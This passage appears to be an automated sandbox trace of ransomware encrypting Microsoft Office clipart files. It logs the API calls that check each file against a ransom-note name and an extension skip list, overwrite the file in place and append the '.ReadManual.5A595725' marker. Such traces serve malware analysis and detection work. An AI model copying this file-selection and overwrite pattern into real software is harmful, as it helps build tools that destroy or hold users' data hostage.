Office\\CLIPART\\PUB60COR\\BD19563_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" [0260.599] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.ReadManual.5A595725" [0260.599] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.ReadManual.5A595725") returned 87 [0260.599] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38126745446) returned 1 [0260.599] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 0x20 [0260.599] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.599] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20454) returned 1 [0260.599] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4fe6, lpName=0x0) returned 0x184 [0260.599] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.600] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.600] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.602] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.602] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4fe6) returned 0x2f0000 [0260.602] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.602] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38127087398) returned 1 [0260.602] CloseHandle (hObject=0x184) returned 1 [0260.602] SetSecurityInfo () returned 0x57 [0260.602] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.602] CloseHandle (hObject=0x194) returned 1 [0260.603] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4f48c00, ftCreationTime.dwHighDateTime=0x1bd4d56, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe4f48c00, ftLastWriteTime.dwHighDateTime=0x1bd4d56, nFileSizeHigh=0x0, nFileSizeLow=0x3d75, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD19582_.GIF", cAlternateFileName="")) returned 1 [0260.603] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD19582_.GIF" | out: lpString1="BD19582_.GIF") returned="BD19582_.GIF" [0260.603] lstrcmpiW (lpString1="BD19582_.GIF", lpString2="RecoveryManual.html") returned -1 [0260.603] StrStrIW (lpFirst="BD19582_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.603] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0260.603] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0260.603] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0260.603] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0260.603] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0260.603] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0260.603] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0260.603] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0260.603] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0260.603] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0260.603] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0260.603] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0260.603] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0260.603] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0260.603] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" [0260.603] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.ReadManual.5A595725" [0260.604] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.ReadManual.5A595725") returned 87 [0260.604] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38127231971) returned 1 [0260.604] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 0x20 [0260.606] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.607] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15733) returned 1 [0260.607] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d75, lpName=0x0) returned 0x184 [0260.607] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.607] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.607] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.609] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.609] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d75) returned 0x2f0000 [0260.609] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.609] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38127815057) returned 1 [0260.609] CloseHandle (hObject=0x184) returned 1 [0260.609] SetSecurityInfo () returned 0x57 [0260.610] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.610] CloseHandle (hObject=0x194) returned 1 [0260.610] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c6cc00, ftCreationTime.dwHighDateTime=0x1bd4d5a, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4c6cc00, ftLastWriteTime.dwHighDateTime=0x1bd4d5a, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD19695_.WMF", cAlternateFileName="")) returned 1 [0260.610] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD19695_.WMF" | out: lpString1="BD19695_.WMF") returned="BD19695_.WMF" [0260.610] lstrcmpiW (lpString1="BD19695_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.610] StrStrIW (lpFirst="BD19695_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.610] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.610] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.610] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.610] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.610] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.610] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.610] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.610] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.611] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.611] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.611] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.611] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.611] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.611] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.611] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" [0260.611] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.ReadManual.5A595725" [0260.611] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.ReadManual.5A595725") returned 87 [0260.611] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38127955955) returned 1 [0260.611] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x20 [0260.611] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.611] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12982) returned 1 [0260.611] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x32b6, lpName=0x0) returned 0x184 [0260.611] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.612] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.612] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.613] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.614] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x32b6) returned 0x2f0000 [0260.614] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.614] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38128261110) returned 1 [0260.614] CloseHandle (hObject=0x184) returned 1 [0260.614] SetSecurityInfo () returned 0x57 [0260.614] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.614] CloseHandle (hObject=0x194) returned 1 [0260.615] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee332800, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee332800, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x25ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD19827_.WMF", cAlternateFileName="")) returned 1 [0260.615] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD19827_.WMF" | out: lpString1="BD19827_.WMF") returned="BD19827_.WMF" [0260.615] lstrcmpiW (lpString1="BD19827_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.615] StrStrIW (lpFirst="BD19827_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.615] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.616] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.616] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.616] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.616] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.616] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.616] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.616] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.616] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.616] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.616] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.616] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.616] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.616] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.616] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" [0260.616] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.ReadManual.5A595725" [0260.616] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.ReadManual.5A595725") returned 87 [0260.616] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38128475242) returned 1 [0260.616] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x20 [0260.616] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.616] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9710) returned 1 [0260.616] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x25ee, lpName=0x0) returned 0x184 [0260.616] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.617] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.617] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.619] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.619] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x25ee) returned 0x2f0000 [0260.619] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.619] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38128799386) returned 1 [0260.619] CloseHandle (hObject=0x184) returned 1 [0260.619] SetSecurityInfo () returned 0x57 [0260.619] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.619] CloseHandle (hObject=0x194) returned 1 [0260.620] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01fb00, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed01fb00, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x2244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD19828_.WMF", cAlternateFileName="")) returned 1 [0260.620] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD19828_.WMF" | out: lpString1="BD19828_.WMF") returned="BD19828_.WMF" [0260.620] lstrcmpiW (lpString1="BD19828_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.620] StrStrIW (lpFirst="BD19828_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.620] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.620] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.620] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.620] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.620] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.620] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.620] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.621] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.621] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.621] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.621] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.621] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.621] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.621] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.621] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" [0260.621] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.ReadManual.5A595725" [0260.621] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.ReadManual.5A595725") returned 87 [0260.621] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38129196860) returned 1 [0260.623] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x20 [0260.624] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.624] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8772) returned 1 [0260.624] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2244, lpName=0x0) returned 0x184 [0260.624] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.625] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.625] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.627] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.627] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2244) returned 0x2f0000 [0260.627] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.627] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38129591295) returned 1 [0260.627] CloseHandle (hObject=0x184) returned 1 [0260.627] SetSecurityInfo () returned 0x57 [0260.627] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.627] CloseHandle (hObject=0x194) returned 1 [0260.628] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe58e2200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe58e2200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x3896, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD19986_.WMF", cAlternateFileName="")) returned 1 [0260.628] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD19986_.WMF" | out: lpString1="BD19986_.WMF") returned="BD19986_.WMF" [0260.628] lstrcmpiW (lpString1="BD19986_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.628] StrStrIW (lpFirst="BD19986_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.628] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.628] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.628] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.628] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.628] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.628] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.628] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.628] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.628] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.628] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.628] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.628] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.629] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.629] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.629] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" [0260.629] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.ReadManual.5A595725" [0260.629] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.ReadManual.5A595725") returned 87 [0260.629] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38129748682) returned 1 [0260.629] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x20 [0260.629] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.629] GetFileSizeEx (in: hFile=0x194, 